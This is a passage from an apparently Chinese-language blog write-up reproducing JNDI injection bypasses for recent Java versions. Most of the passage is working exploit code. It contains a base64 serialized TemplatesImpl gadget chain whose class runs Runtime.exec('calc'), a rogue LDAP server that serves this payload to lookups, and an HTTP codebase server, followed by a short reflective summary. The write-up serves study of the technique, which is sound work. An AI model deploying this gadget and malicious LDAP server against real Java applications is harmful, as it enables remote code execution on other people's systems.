Qcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA=="));
} catch (ParseException e1) {
e1.printStackTrace();
}
/** Payload2 end **/
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}
public static void main(String[] args) throws Exception {
String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
args = args1;
System.out.println("HttpServerAddress: "+args[0]);
System.out.println("HttpServerPort: "+args[1]);
System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = args[0];
int ldap_port = Integer.valueOf(args[2]);
int http_server_port = Integer.valueOf(args[1]);
lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}
- 发起ladp请求,结果如下
4 总结
第一时间看到浅蓝师傅的文章后,很想马上学习一下,无奈论文催得紧,过年前复现出了一部分。昨天终于写完了论文,继续来复现,所以前后文的不够通畅。浅蓝师傅还提到了一些其它的用法,但看起来不是特别实用,所以没有复现了。
经过对JNDI 高版本bypass方法的学习,真的佩服大师傅们对java研究的功力,另外复现过程中也明显感觉出来,jndi bypass的利用必须要依赖一些方便的工具,否则手工做起来真心麻烦,依赖都是一大堆。